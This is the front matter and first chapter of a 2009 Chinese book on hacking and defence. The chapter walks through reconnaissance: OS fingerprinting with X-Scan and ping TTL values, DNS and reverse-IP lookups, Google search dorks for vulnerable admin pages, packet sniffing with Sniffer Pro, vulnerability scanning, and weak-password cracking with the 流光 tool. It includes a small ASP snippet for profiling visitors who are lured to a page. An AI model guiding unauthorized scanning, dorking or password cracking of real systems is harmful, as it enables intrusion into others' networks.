版权信息

书名：矛与盾——黑客就这几招
作者：武新华
排版：琴书
美编：方小二
ISBN：9787111283843

版权所有·侵权必究

前言

本书写作的目的主要是通过介绍黑客的攻击手段和提供相应的主动防御保护措施，使读者能够循序渐进地了解黑客入侵主动防御的关键技术与方法，提高安全防护意识，并将这些技术与方法应用于实际工作中。希望本书能成为网络信息安全专业技术人员、网络安全管理人员、网络使用者及信息时代的创业者的一本实用的网络安全工具书。

下面简要介绍本书的特点、学习方法以及提供的服务。

本书内容

本书以配图、图释、标注、指引线框等丰富的图解手段，再辅以浅显易懂的语言，通过对黑客攻击前的准备、扫描与反扫描技术、控制与反控制技术、欺骗与反欺骗、加密与解密工具、病毒与木马攻击防御、网络代理与追踪技术、注入工具与溢出攻击、账号盗取与安全防范、日志与后门清除技术、安全分析与入侵检测、流氓软件与间谍程序清除12大类，100多个知识点的详细介绍，给出了相关代表性产品和工具的介绍及使用方法，使得读者可对网络安全主动防护及黑客入侵主动防御等具有代表性的技术有一个全面认识。

此外，本书还从黑客入侵防护应用角度给出了相对独立的内容的论述，使读者可对如何构建一个实用的黑客入侵防范体系有一个基本概念和思路，并可为读者提供几种典型行业的安全防护系统建设方案，以供参考和借鉴。

增值服务

随书所附光盘提供了多种攻防实战的教学视频，汇集了众多高手的操作精华，通过增进读者对主流操作手法感性认识的方式，使读者实现高效学习。

此外，如发现本书中有不妥或需要改进之处，还可通过访问http://www.newtop01.com或QQ：274648972与编者进行沟通，编者将衷心感谢提供建议的读者，并真心希望在和广大读者互动的过程中能得到提高。

组织方式

本书包含了3种学习方式，即简明教程、图解教程和范例教程。

简明教程：用最简单明了的语言来讲解，只介绍最重要的知识点及最常见的应用，与此无关的内容均不涉及。

图解教程：“理论+实战图文+视频=让读者快速入门”，编者采用最为通俗易懂的图文解说，即使是电脑新手也能通读全书。

范例教程：用任务驱动、情景教学的方式来介绍，在学习案例过程中掌握知识点。最新黑客技术盘点，让读者实现“先下手为强”。学习目的性、指向性最强。

本书特色

本书以情景教学、案例驱动与任务进阶为鲜明特色，在书中可以看到一个个生动的情景案例。通过完成一个个实践任务，读者可以轻松掌握各种知识点，在不知不觉中快速提升实战技能。

从基础到实践，完全站在实用的角度，介绍黑客攻防技术，突出了实用性和案例分析，所举实例，来自于实际应用，学以致用，真正解决问题。

通俗易学，结合图解、标注和多媒体教学，使神秘、高深、难以掌握的黑客攻防技术学习起来省时、省力，易于上手，非常适合新手、大专院校学生，以及网络从业人员掌握快速掌握实用技术。

紧扣“理论+实战图文+视频=全面提升学习效率！”的主导思想，详细分析每一个操作案例，以实现读者用更少时间尽快掌握加密解密技术的操作，并对实战过程中常见问题作必要的说明与解答。

当前最新技术、热点技术和常用相关工具软件都在本书有所涉及，有关黑客攻防技术、方法与思路，也做了重点讲解，并通过实例介绍综合技术的运用手段，最后能够达到举一反三。

读者对象

本书作为一本面向广大网络爱好者的速查手册，适合于如下读者学习使用：

电脑爱好者。

具备一定黑客知识基础和工具使用基础的读者。

网络管理人员。

喜欢研究黑客技术的网友。

大、中专院校相关学生。

本书作者

本书作者团队长期从事网络安全管理工作，都具有较强的实践操作能力及一线拼杀经验，可带领广大醉心技术者穿越迷雾，把黑客们的伎俩看清楚。参与本书编写工作的有：安向东负责第1章，田靖负责第2章，孙世宁、李防负责第3、4、5章，孙璐红负责第6章，王肖苗负责第7章，赵慧婷负责第8章，杨平负责第9章，段玲华负责第10章，李伟负责第11章，王英英负责第12章，最后由武新华通审全稿。我们虽满腔热情，但限于自己的水平，书中仍难免有疏漏之处。因此，还望大家本着共同探讨、共同进步的平和心态来阅读本书。作者心存谨敬，随时恭候您提出的宝贵意见。

最后，需要提醒大家的是：根据国家有关法律规定，任何利用黑客技术攻击他人的行为都属于违法行为，希望读者在阅读本书后不要使用本书中介绍的黑客技术对别人进行攻击，否则后果自负，切记！切记！

编者

2009年8月

第1章
黑客攻击前的准备

重点提示

♂探测操作系统

♂探测网站信息

♂探测搜索引擎

♂网络监听与嗅探

♂创建安全测试环境

♂Virtual PC安全测试环境

♂虚拟机网站平台

本章精粹：

本章主要介绍了黑客攻击前应做的准备工作，主要包括：探测操作系统、探测网站信息、探测搜索引擎、网络监听与嗅探等多个方面，有助于读者了解黑客如何运用相关工具进行探测、分析出被攻击主机的详细信息，以便预防黑客入侵。

黑客在进行攻击前往往会花很多时间和精力去做准备工作，比如搜集对方使用什么类型的操作系统、管理账号是否为空口令或者弱口令、系统是否存在某些严重的漏洞……做足了这些准备工作，攻击就会又多了几分胜算，越熟练的黑客花费在准备工作上的时间往往越多。信息搜索、筛选、分析……这是最枯燥却也是最重要的准备工作。

第1招　探测操作系统

由于系统本身往往会存在某些弱点与不足之处，黑客之所以能够入侵，就是利用了这些弱点与错误。现在网上流行的各种各样的入侵工具，都是黑客在分析了系统的弱点及存在的问题之后编写出来的。作为一般的黑客，并不需要去编写工具，只要善于使用现成的入侵工具，就可以实现入侵。

1.使用X-Scan工具探测系统

X-Scan扫描器不同于一些常见攻击工具，它能用来发现问题，而不能直接攻击目标机器，执行如下操作可完成对远程计算机的操作系统探测。

使用X-Scan探测远程计算机的方法极其简单，具体的操作步骤如下。

步骤1：先从网上下载并解压"X-Scan"压缩包。双击"X-Scan_gui.exe"应用程序图标，即可进入"X-Scan_gui"扫描器的主窗口，在其中可以浏览此软件的功能简介、常见问题解答等信息，如图1-1所示。

图　1-1　"X-Scan_gui"扫描器主窗口

步骤2：选择【设置】→【扫描参数】菜单项，即可打开【扫描参数】对话框，在其中选择“检测范围”选项设置扫描IP地址的范围，如图1-2所示。在“指定IP范围”文本框中输入需要扫描的目标IP地址（如192.168.0.10）、IP地址段（如192.168.0.10～192.168.0.255），还能增加子网掩码（如192.168.0.10/24）等。若不知道输入的格式，则可以单击该文本框右侧的【示例】按钮，在【示例】对话框中查看输入的有效格式，如图1-3所示。

图　1-2　【扫描参数】对话框

图　1-3　【示例】对话框

步骤3：展开“全局设置”选项之后，选取其中的“扫描模块”选项，则可选择扫描过程中需要扫描的模块（这里需要勾选“远程操作系统”选项），在选择扫描模块时，还可在其右侧窗格中查看远程计算机的操作系统，识别是否通过“SNMP（Simple Network Management Protocol，简单网络管理协议）、NETBIOS（Network Basic Input/Output System，网络基本输入/输出系统）协议主动识别远程操作系统类型及版本”插件来完成，如图1-4所示。

图　1-4　“扫描模块”选项

步骤4：单击【确定】按钮返回到"X-Scan_gui"主窗口，单击按钮，耐心等待片刻就可以看到如图1-5所示的扫描结果了。在左侧的扫描目标右侧，即可看到"Windows XP"的标识，这就说明远程计算机使用的是Windows XP操作系统。

图　1-5　显示扫描结果

2.使用ping命令探测系统

ping命令是测试网络连接、信息发送和接收状况的实用型工具，是一个系统内置的探测工具。对于一个生活在网络上的管理员或黑客，ping命令是第一个必须掌握的DOS命令，它所利用的原理是“网络上的机器都有唯一确定的IP地址，用户给目标IP地址发送一个数据包，对方就要返回一个同样大小的数据包，根据返回的数据包用户可以确定目标主机的存在，可以初步判断目标主机的操作系统等”。通过在命令提示符下输入"ping/?"命令，即可查看ping命令的详细说明，如图1-6所示。

图　1-6　查看ping命令的详细说明

-a：指定对目的地IP地址进行反向名称解析。如解析成功，ping将显示相应的主机名。

-t：不断使用ping命令发送回响请求信息到目的地。要中断并退出ping，只需要按下"Ctrl+C"组合键。初级黑客常常喜欢使用这个参数对目标计算机进行攻击。

-n Count：指定发送回响请求消息的次数，默认值为4。

-I Size：指定发送的回响请求消息中“数据”字段的长度（以字节表示）。默认值为32。如图1-7所示。Size的最大值是65527。

图　1-7　查看数据字节的默认长度

-f：指定发送的回响请求消息带有“不要拆分”标志（所在的IP标题设为1）。回响请求消息不能由目的地路径上的路由器进行拆分。该参数可用于检测并解决“路径最大传输单位（Path Maximum Transmission Unit, PMTU）”的故障。

-I TTL：指定发送回响请求消息的IP标题中的TTL（Time To Live，存活时间）字段值。其默认值是主机的默认TTL值。对于Windows XP主机，该值一般是128，TTL的最大值是255。

-V TOS：指定发送回响请求消息的IP标题中的“服务类型（TOS）”字段值。默认值是0。TOS被指定为0～255之间的十进制数。

-r Count：指定IP标题中“记录路由”选项用于记录由回响请求消息和相应的回响应答消息使用路径。路径中每个跃点都使用“记录路由”选项中的一个值。如果可能，可指定一个等于或大于来源和目的地之间跃点数的Count。Count最小值必须为1，最大值为9。

-s Count：指定IP标题中的“Internet时间戳”选项用于记录每个跃点的回响请求信息和相应的回响应答消息的到达时间。Count的最小值为1，最大值为4。

-j Path：指定回响请求消息，使用带有HostList指定IP标题中的“稀疏资源路由”选项。可由一个或多个具有松散源路由的路由器分隔连接中间目的地。主机列表中的地址或名称最大数为9，主机列表是一系列由空格分开的IP地址（带点的十进制符号）。

-k HostList：指定回响请求消息，使用带有HostList指定的中间目的地集的IP标题中的“严格来源路由”选项。使用严格来源路由，下一个中间目的地必须是直接可达的（必须是路由器接口上的邻居）。主机列表中的地址或名称的最大数为9，主机列表是一系列由空格分开的IP地址（带点的十进制符号）。

-w Timeout：指定等待回响应答消息响应的时间（以微秒计），该回响应答消息响应接收到的指定回响请求消息。如果在超时时间内未接收到回响应答消息，将会显示“请求超时”的错误消息。默认的超时时间为4 000 000微秒（4秒）。

Target Name：指定目的端，它既可以是IP地址，也可以是主机名。

典型示例：

（1）检测本机网卡驱动程序以及TCP/IP协议

若想检测本机的网卡驱动程序以及TCP/IP协议是否正常，只需要在命令提示符窗口中，输入"ping 192.168.0.7"命令，如图1-8所示。

图　1-8　检测本机

（2）多参数合用检测

若要在命令提示符窗口中输入"ping-a-t 192.168.0.10"命令，即可对192.168.0.10的这台计算机进行探测。其探测结果如图1-9所示。通过反馈信息可得知上述命令中的参数"-a"检测出了该机器的NetBios名为dns.sq.js.cn；参数"-t"在不断向该机发送数据包。

图　1-9　多参数合用检测计算机

通常，ping命令会反馈如下两种结果：

1）请求超时。表示没有收到网络设备返回的响应数据包，也就是说网络不通。出现这个结果原因很复杂，通常有对方装有防火墙并禁止ICMP（Internet Control Message Protocol，网际控制信息协议）回显、对方已经关机、本机的IP设置不正确或网关设置错误、网线不通等几种可能。

2）来自192.168.0.10的回复：字节=32，时间＜1ms, TTL=128。表示网络畅通，探测使用的数据包大小为32字节，响应时间小于1ms。TTL是指一个数据包在网络中的生存期，网管可通过它了解网络环境，辅助维护工作，通过TTL值可以粗略判断出对方计算机使用的操作系统类型，以及本机到达目标主机所经过的路由数。

当检查本机的网络连通情况时，通常会使用ping命令给某个目标主机（如本机）发送ICMP数据包。在本机中生成ICMP数据包时，系统就会给这个ICMP数据包初始化一个TTL值，如Windows XP就会生成“128”，将这个ICMP数据包发送出去，遇到网络路由设备转发时，TTL值就会被减去“1”，最后到达目标主机，如果在转发过程上TTL值变成“0”，路由设备就会丢弃这个ICMP数据包。

TTL值在网络应用中很有用处，可以根据返回信息中的TTL值来推断发送的数据包到达目标主机所经过的路由数。路由发生在OSI（Open System Interconnection，开放系统互联模型）网络参考模型中的第三层即为网络层。

提示　不同的操作系统，它的TTL值也是不相同的。默认情况下，Linux系统的TTL值是64或255，Windows NT/2000/XP系统的TTL值为128，Windows 98系统的值为32，UNIX主机的TTL值为255。

3.通过网站判断系统

有时，黑客会通过网站来获得目标的操作系统信息。例如：若某黑客与某台计算机用户通过QQ聊天，黑客说：“我的网站不错，欢迎你来访问”，并给出了一个网页地址。很多个人计算机用户不会提防这个要求，于是立即访问了这个网页。

在访问这个网页的同时，此个人计算机用户的操作系统信息实际上已经被写入到数据库中了。这样，黑客不费吹灰之力就得到了想要的信息。这样，获取指定信息的代码很简单，实现的方法有很多。比如，下面的代码就可以在网页上显示客户端的操作系统等信息。

＜%

Response.write?Request.ServerVariables("HTTP_ACCEPT_LANGUAGE")＆"＜br＞"Response.write?Re-quest.ServerVariables("HTTP_USER_AGENT")＆"＜br＞"

%＞

在访问含有上述代码的网页时，就会看到相应的信息。通过这些信息，可以知道个人计算机用户的IE版本、操作系统版本等。并且这些信息都可以用于黑客任务。

提示　上述方法是使用了服务器变量集合保存了随HTTP（Hyper Text Transfer Protocol，超文本传输协议）头请求一起传送的HTTP头的信息，HTTP头中包含有很多来访者（客户端）的信息，可以通过它获得有关来访者的操作系统版本、浏览器版本等信息。

第2招　探测网站信息

网站是黑客入侵或攻击的主要对象之一，由于网站是人人都可以访问的一个内容载体，它只要有一点风吹草动，可能就会产生较大的影响，这很容易让黑客产生“成就感”。黑客在对网站展开任务之前，通常会执行相应的探测操作。

1.探测域名和IP

对于购买了域名的网站，既可以直接使用IP地址作为网址，也可以使用域名作为网址，在如图1-10所示窗口中输入相应的内容，即可看到相应的绑定信息。这就是为什么有的网站只能用IP地址进行入侵，有的却可以使用IP地址或域名进行入侵的缘故。通常，用户把采用域名系统命名的网址称之为“域名”或“网址”（网站IP地址也可称为“网址”）。

域名地址以层次化表示：

1）后缀。最右边的后缀用于标识域名的性质，如cn表示中国，edu表示教育机构。实际上，由于域名申请的开放性，用户可根据自己的喜好来注册.net或.com。这就好比用户可随意到某个城市（随便使用.com或.net）居住，但城市名称（.com这样的后缀）却不能由用户来定义一样。

图　1-10　绑定IP地址

2）名称。名称即域名中间的网站名称，如www.xinghuaye924.cn这个域名中的网站名称就是xinghuaye924。这是在注册域名时用户需要自定义的部分，它在同一种域名后缀中是唯一的。也就是说，可以有xinghuaye924.net和xinghuaye924.cn。

3）前缀。最左侧的前缀用于标识网站类别，如www表示Web服务。由于申请的域名是xinghuaye924.net，所以www和ftp这样的前缀可自由设置（不设置前缀也可以），如360sight.cn等。其中，要注意www和ftp这样的前缀名，已约定俗成供Web服务和FTP服务使用了。

通常，用户可以根据前缀看出网址所对应的具体内容。

www：Web服务，如www.xinghuaye924.net。

ftp：数据上传下载服务，如ftp.xinghuaye924.net。

bbs：论坛服务，如bbs.xinghuaye924.net。

mail：邮局服务，如mail.xinghuaye924.net。

down：下载服务，如down.xinghuaye924.net。

news：新闻服务，如news.xinghuaye924.net。

movie：电影服务，如movie.xinghuaye924.net。

musiC:音乐服务，如music.xinghuaye924.net。

除这些约定俗成的名称外，通常用户会以常用英文单词或拼音等来作为前缀，如百度图片搜索就是http://image.baidu.com/。通常，黑客在访问一个网址前，可凭经验判断出其提供什么服务。对于一名黑客来说，要入侵的网站有哪些域名，以及这些域名解析到哪些IP地址，都应该做到心中有数。检测的方法很简单，以检测bbs.newtop01.com网站解析到的IP地址为例，需要执行如下操作。具体的操作步骤如下。

步骤1：在【运行】对话框的运行栏中输入"cmd"命令，即可进入命令提示符窗口。如图1-11所示。在当前命令提示符下输入"ping bbs.newtop01.com"命令，即可显示该论坛的反馈信息，如图1-12所示。

图　1-11　命令提示符窗口

图　1-12　显示论坛的反馈信息

步骤2：通过上述显示信息，可以看出bbs.newtop01.com这个网站解析到的IP地址是203.171.239.143。也即bbs.newtop01.com网站内容存储在203.171.239.143这台服务器中。要查询域名对应的IP地址，可使用ping命令。

如果希望知道有多少不同的域名指向到某个IP地址，可以通过执行如下操作来完成查询，具体的操作步骤如下。

步骤1：先在IE浏览器地址栏中输入"http://www.myipneighbors.com/"网址，即可进入"myipneighbors"的主页，如图1-13所示。

图　1-13　"myipneighbors"的主页

步骤2：在窗口右上角"Search"栏中输入要查询的IP地址，单击右边的【search】按钮，即可查看相应的结果。如图1-14所示。

图　1-14　查看该站点的指向信息

步骤3：在查询完毕后，该站点会将结果信息，以列表的形式反馈出来。最后任意选中一个域名并将其复制，粘贴到IE地址栏中，单击【转到】按钮，即可访问这个域名。

有时，一个网站的安全配置很好，并不代表其所在服务器上其他网站的安全配置也好。因此，先透过其他有漏洞的网站来完成服务器的入侵，最后再完成目标网站的破解，也是常见的网站入侵方法。

2.NsLookup的使用

NsLookup命令经常会被黑客用于查询域名对应的IP地址、A（Address，地址）记录、MX（Mail Exchanger，邮件交换）记录、NS（Name Server，域名服务器）记录、CNAME（Canonical Name，别名）记录等信息。使用NsLookup可以从如下几个示例来说明。

示例1：若要查询A记录，则只需按“NsLookup域名”格式输入命令，如"NsLookup newtop01.com"命令，如图1-15所示。

图　1-15　查询A记录

示例2：若要查询MX记录，则只需要按“NsLookup-q=mx域名”格式输入命令即可。如"nslookup-q=mx bbs.newtop01.com"命令。显示结果如图1-16所示。

图　1-16　查询MX记录

示例3：若查询NS记录，只需按“NsLookup-q=ns域名”格式输入命令，如"nslookup-q=ns web.newtop01.com"命令，如图1-17所示。

图　1-17　查询NS记录

有时一台服务器使用的IP地址可能不止一个，如何才能获得这个IP地址使用列表呢？这里以查询www.qq.com网站使用的IP地址列表为例，通过如下方法获得这项信息。

具体的操作步骤如下。

步骤1：在当前命令提示符下输入"NsLookup"命令，即可查看域名对应的IP地址信息。接着在命令提示符“＞”右侧输入www.qq.com命令，如图1-18所示。在返回如图1-19所示的信息之后，即可获得www.qq.com服务器群的IP地址列表。

图　1-18　查看域名对应的IP地址信息

图　1-19　获得www.qq.com服务器的IP地址列表

步骤2：获得这个IP地址列表对于入侵者非常重要，因为当入侵者在一台服务器上使用各种入侵方法无功而返时，还有机会在另一台服务器中尝试入侵。

除可以进行域名到IP地址的查询，如果希望知道某个内网IP地址（如192.168.0.10）对应的域名是哪个，从而确切地知道企业网络服务安装在哪台机器上，只需在命令提示符窗口中输入"nslookup 192.168.0.10"命令。如果能够查到该IP对应的域名，将会直接显示出来。比方说，在反馈信息的第二行的Name后面将会看到域名。

第3招　探测搜索引擎

为了使网民搜索信息的速度更加快捷，更加准确，专门在Internet上执行信息搜索任务的搜索引擎技术应运而生了。目前，使用率最高的搜索引擎是www.baidu.com和www.google.com。

1.特殊的“关键词”搜索探测

通过搜索引擎网站，黑客可通过搜索特殊的“关键词”来查找到一些具有漏洞的网站。比如，在动态网站中一般会有Conn.asp这个文件，它用于存储数据库文件的路径、名称等信息，黑客在搜索引擎中总是喜欢使用它作为搜索关键词。具体的操作步骤如下。

步骤1：先进入使用率最高的搜索引擎首页，在搜索文本框中输入需要搜索的相关信息，这里以搜索"Inurl：/admin+conn.asp"为例，如图1-20所示。其中，admin表示后台管理目录，通常用于存储所有的管理文件。当然，也可改成其他的目录名，但目录名要在网站中存在才可以。

图　1-20　Google搜索引擎首页

步骤2：在其中输入搜索内容并选中想要搜索的方式（这里选择“所有网页”方式），单击【Google搜索】按钮，即可打开搜索结果页面，在其中可以看到所有的搜索项目，如图1-21所示。单击任意一条搜索项目，即可进入相应信息页面。

图　1-21　搜索结果页面

提示　在www.google.com中黑客使用的关键词有很多，如upload.asp site：tw、inurl：winnt\system32\inetsrv\等，这些关键词都可以为黑客起到为虎作伥的作用。

2.专用工具搜索探测

Google hacker（Google黑客）是利用Google提供的搜索功能查找黑客们想找到的信息。一般是查找网站后台、网管的个人信息，也可以用来查找某人在网络上的活动。Google hacker一般是作为黑客在入侵时的一个手段，有时可在入侵过程中查找后台的登录口。

使用"google hacker v2.0"进行搜索的具体操作步骤如下。

步骤1：下载并解压"google hacker v2.0"压缩包，双击"google hacker v2.0"应用程序图标，即可进入"google hacker v2.0"的主窗口。在“google搜索专用参数”下拉列表框中，选择一种参数的类型，如图1-22所示。

图　1-22　"google hacker v2.0"主窗口

步骤2：单击【让我们去……】按钮，即可进入相应的搜索页面，如图1-23所示。也可在"Google"搜索栏目中输入关键词“163”，单击【搜索】按钮，即可打开IE浏览器访问www.google.com，并会自动输入指定关键词进行搜索，如图1-24所示。

图　1-23　Google搜索专用参数页面

图　1-24　Google搜索

步骤3：由于列举的关键词都是常见的漏洞，所以搜索结果的数量通常都会比较惊人。搜索结果显示如图1-25所示。

图　1-25　关键词“163”搜索页面

第4招　网络监听与嗅探

起初，网络监听常被网络管理员用于以太网中监测传输的网络数据，它在排除网络故障等方面功不可没，倍受网络管理员的青睐。后来，有许多网络入侵往往都伴随着以太网内网络监听行为，从而造成口令失窃，敏感数据被截获等连锁性安全事件，并有意无意地将这种技术引入到了黑客领域，就给以太网带来了极大的安全隐患。

1.网络监听实例演练

网络监听可有效地对网络数据、流量进行侦听、分析，从而排除网络故障，同时又带来了信息失窃等极大隐患。例如，若要查看当前计算机的IP地址，则具体的方法是“在命令提示符下输入'ipconfig'命令，即可查看当前计算机的IP地址，如图1-26所示”。若想查看本机网卡的IP地址与MAC（Media Access Control，介质访问控制）地址，只需在命令提示符下输入"ipconfig/all"命令，如图1-27所示。

图　1-26　查看当前计算机的IP地址

图　1-27　查看本机的网卡和MAC地址

一般而言，网卡有几种接收数据帧的状态，如unicast（直接模式）、broadcast（广播模式）、multicast（多播模式）、promiscuous（混杂模式）等。

在www.google.cn中搜索“Sniffer工具”这个关键词，可以找到非常多的可用方法和工具。搜索结果如图1-28所示。下面以一款常见工具Sniffer Pro为例介绍一下使用方法。

图　1-28　搜索结果

Sniffer Pro是一款协议分析软件，可运行在各种Windows平台上，Sniffer Pro在安装时需要填写注册信息，运行时占用内存比较大，否则就会降低运行速度。

设置和使用Sniffer Pro的具体操作步骤如下。

步骤1：第一次使用Sniffer Pro时，用户需要选择监听的适配器，如图1-29所示。单击【新建】按钮，即可打开【新建设置】对话框，在其中可根据需要创建新项目。单击【好】按钮，即可完成设置，如图1-30所示。

图　1-29　【当前设置】对话框

图　1-30　【新建设置】对话框

步骤2：单击【确定】按钮，即可打开Sniffer Pro操作窗口，如图1-31所示。选择【捕获】→【开始】菜单项或单击工具栏中按钮，即可开始进行捕获，如图1-32所示。在捕获过程中可以通过查看捕获报文数量和缓冲区利用率等。

图　1-31　【Sniffer Pro】操作窗口

图　1-32　利用Sniffer Pro捕捉到的信息

步骤3：双击任意一个IP地址，即可对该报文信息进行详细的查看（即专家分析系统），如图1-33所示。专家分析系统提供了一个只能分析的平台——对网络上的流量进行一些分析。而对于某项统计分析可以使用鼠标双击该条记录查看详细的统计信息，同时对于每一项都可以通过查看帮助来了解其原因。

图　1-33　查看报文信息

步骤4：在【Sniffer Pro】主窗口中选择【监视器】→【主机列表】菜单项，即可看到捕获到的主机的详细信息，如图1-34所示。选择【捕获】→【停止并显示】菜单项，即可对所捕获的数据进行查看。切换到“解码”选项卡，即可看到所捕获到的数据包，如图1-35所示。

图　1-34　查看主机列表

图　1-35　查看所捕获到的数据包

步骤5：切换到“矩阵”选项卡，即可看到全网的连接情况，如图1-36所示。图中的绿线表示正在发生的网络连接，而蓝线则表示过去的连接。

图　1-36　查看全网的连接情况

步骤6：选择【监视器】→【定义过滤器】菜单项，即可打开【定义过滤器-监视器】对话框，如图1-37所示。切换到“地址”选项卡，在“地址类型”下拉列表中选择"Hardware"选项；在“已知的地址”栏目中选择“任意”选项；在“位置1”栏的第一行中单击并输入链路层地址条件，如001E8C17B085，此时在“地址2”栏目中会显示"Any"，而"dir."栏目中的箭头则表示数据流的方向。

图　1-37　设置“地址”选项卡

步骤7：切换到“高级”选项卡，在其中编辑协议捕获条件。如勾选"IP"复选框，展开该项的所有子项并勾选"ICMP"复选框；在“数据包大小”下拉列表中选择"ALL"选项；在“数据包类型”栏目中勾选所有复选框，如图1-38所示。

图　1-38　设置“高级”选项卡

步骤8：单击【配置文件】按钮，即可打开【捕获配置文件】对话框，在其中可以看到默认的设置，如图1-39所示。在“数据模式”选项卡中可以任意编辑捕获条件，单击【添加AND/OR】按钮，即可添加关系结点，如图1-40所示。

图　1-39　【捕获配置文件】对话框

图　1-40　添加关系结点

步骤9：单击【增加样式】按钮，即可添加模板；单击【添加NOT】按钮，即可添加排除结点。使用该选项卡可以实现复杂的报文过滤，但一般情况下所截获的报文不多，使用这种方法是得不偿失的。

步骤10：Sniffer Pro还具有报文发送功能，选择【工具】→【数据包发生器】菜单项，即可看到【数据包发生器】窗口，如图1-41所示。

图　1-41　【数据包发生器】窗口

步骤11：单击【发送1帧】按钮，即可打开【发送新的帧】对话框，如图1-42所示。在“发送”栏目中设置要发送的次数，也可保持默认设置；在“发送类型”栏目中设置发送的时间间隔，一般保持默认1毫秒。

图　1-42　【发送新的帧】对话框

步骤12：单击【尺寸】按钮，即可打开【设置数据包大小】对话框，如图1-43所示。在“新大小”文本框中输入要发送的数据帧的长度，单击【好】按钮返回到【发送新的帧】对话框，此时在“数据包”栏目中可使用方向键对报文的内容进行编辑。

图　1-43　【设置数据包大小】对话框

步骤13：单击【确定】按钮，即可看到该报文处于发送状态，如图1-44所示。

图　1-44　发送报文

使用这种方式发送报文优势在于：当网络发送出现问题时网络流量就会发生异常，可通过网络流时分析图帮助用户及时找出引发流量异常的问题所在。

步骤14：如果相对Sniffer Pro的相关选项进行设置，则选择【工具】→【选项】菜单，即可打开【选项】对话框，在其中设置各个选项卡，如图1-45所示。

图　1-45　【选项】对话框

步骤15：另外，Sniffer Pro还允许用户自定义工具。选择【工具】→【定制用户工具】菜单，即可打开【定义】对话框，如图1-46所示。单击【添加】按钮，即可添加需要的工具。

图　1-46　【定制】对话框

Sniffer Pro不仅可确保网络性能的优化，还可通过对网络连接情况的分析，发现并清除病毒，此功能在网络管理是非常重要的。随着企业对网络性能的要求越来越高，在这些情况下，使用Sniffer Pro就成为不错的选择。此外，Sniffer Pro还具有报文发送、网络监视、解码分析等功能，用户可以通过Sniffer Pro帮助文件来获得这方面的信息。

2.用SSS扫描器实施扫描

SSS（Shadow Security Scaner）是一款著名的系统漏洞扫描器，可对很大范围内的系统漏洞进行高效、可靠的安全检测，其系统扫描的速度与精度足以让用户敢于向专业的安全机构和那些专门入侵他人计算机系统的黑客叫板。

利用SSS扫描器对系统漏洞进行扫描的具体操作步骤如下。

步骤1：安装好SSS软件后，选择【开始】→【程序】→【Safety-lab】→【Shadow Security Scaner】→【Shadow Security Scaner】菜单项，即可进入其操作界面，如图1-47所示。

图　1-47　SSS操作界面

步骤2：单击工具栏上的【New session】按钮，即可打开【New session】对话框，在其中设置扫描项目设置向导的有关选项，如图1-48所示。

图　1-48　【设置扫描项目】窗口

步骤3：用户可以选择预设的扫描规则，也可单击【Add rule】按钮，即可打开【Create new rule】对话框，在其中创建新的扫描规则，如图1-49所示。

图　1-49　创建扫描规则

步骤4：单击【OK】按钮，即可在设置扫描选项对话框中设置新扫描规则的有关选项，如图1-50所示。在选择好扫描规则后（如"Complete Scan"选项），单击【Next】按钮，在显示的对话框中单击【Add host】按钮，即可添加扫描的目标计算机，如图1-51所示。

图　1-50　设置扫描选项

图　1-51　添加扫描的目标计算机

步骤5：选取"Host"单选项，可添加单一目标计算机的IP地址或计算机名称；选取"Hosts range"单选项，可添加一个IP地址范围；选取"Hosts from file"单选项，可通过指定已存在的目标计算机列表文件添加目标计算机；选取"Host groups"单选项，则可通过添加工作组的方式添加目标计算机，并设置登录的用户名称和密码。在添加好目标计算机之后，单击【Add】按钮，即可完成目标计算机的添加，如图1-52所示。

图　1-52　添加目标计算机

步骤6：单击【Next】按钮，即可完成扫描项目的创建并返回SSS主界面。单击工具栏上的【Start scan】按钮，开始对目标计算机进行扫描，并可在"Statistics"标签卡中查看扫描进程，如图1-53所示。在"Vulnerabilities"标签卡中查看扫描结果，其中给出了危险程序、补救措施等内容，如图1-54所示。

图　1-53　查看扫描结果

图　1-54　"Vulnerabilities"标签卡中查看扫描结果

步骤7：使用SSS还可以进行DoS安全性进行检测。单击左侧窗口中的【DoS Checker】按钮，即可打开如图1-55所示的对话框。在其中选择检测的项目，设置扫描的线程数（Threads）之后，单击【Start】按钮，即可进行DoS检测并给出检测结果。

图　1-55　设置DoS检测选项

步骤8：选择【Tools】→【Options】菜单项，即可打开SSS选项设置对话框，在其中可以设置常规选项（如图1-56所示），扫描选项（如图1-57所示）等。

图　1-56　常规选项设置

图　1-57　扫描选项设置

3.用流光扫描弱口令

流光软件可以探测POP3（Post Office Protocol 3，邮局协议版本3）、FTP（File Transfer Protocol，文本传输协议）、HTTP、SQL（Structured Query Language）、SMTP、IPC$（Internet Process Connection）等各种漏洞，并针对各种漏洞设计了不同的破解方案，可在有漏洞的系统上轻易得到被探测的用户密码。

具体的操作步骤如下。

步骤1：下载、安装并启动流光软件，即可进入其主窗口，如图1-58所示。

图　1-58　流光主窗口

步骤2：选择【文件】→【高级扫描向导】菜单项，即可打开【设置】对话框，在“起始地址”和“结束地址”文本框中输入目标网段主机的开始和结束IP地址，在“目标系统”下拉列表中选择待检测的操作系统类型，勾选“获取主机”和“PING检查”复选框，在“检测项目”列表框中选择需要扫描的项目，如图1-59所示。

图　1-59　【设置】对话框

步骤3：单击【下一步】按钮，即可打开【PORTS】对话框，在其中设置所要扫描的端口号，如图1-60所示。根据向导提示单击【下一步】按钮，即可设置各检测项目的相关信息。当然，也可以直接采用默认设置。

图　1-60　【PORTS】对话框

步骤4：在设置完毕之后，即可进入【选项】对话框，在其中可根据需要选择猜解用户名字典、密码字典和保存扫描报告的路径，并选择相应的并发线程数目，如图1-61所示。

图　1-61　【选项】对话框

步骤5：单击【完成】按钮，即可完成设置并弹出【选择流光主机】对话框，在其中选择用于扫描的流光主机，如图1-62所示。

图　1-62　【选择流光主机】对话框

步骤6：如果只用本机扫描，则单击【开始】按钮，即可自动扫描。如果要选择目标机，则单击【详情】按钮，即可打开【Sensor管理工具】对话框，如图1-63所示。

图　1-63　【Sensor管理工具】对话框

步骤7：单击【新增】按钮，即可打开【安装Fluxay Sensor】对话框，在其中输入目标机的相应信息，如图1-64所示。单击【安装】按钮，在安装成功之后再单击【确定】按钮，即可完成设置操作。

图　1-64　【安装Fluxay Sensor】对话框

步骤8：单击【开始】按钮，即可自动进行扫描，扫描完成后将自动生成一个HTML（Hyper Text Markup Language，超文本标记语言）格式的扫描报告，在其中显示了扫描到的用户密码，如图1-65所示。

图　1-65　扫描结果显示

除使用“高级扫描向导”配置高级扫描外，还可选择【探测】→【高级扫描工具】菜单项，在【高级扫描设置】对话框中设置进行扫描，如图1-66所示。如果用户只是希望对某一漏洞进行探测，例如对POP3邮箱的弱口令进行扫描，则需要进行如下的操作。

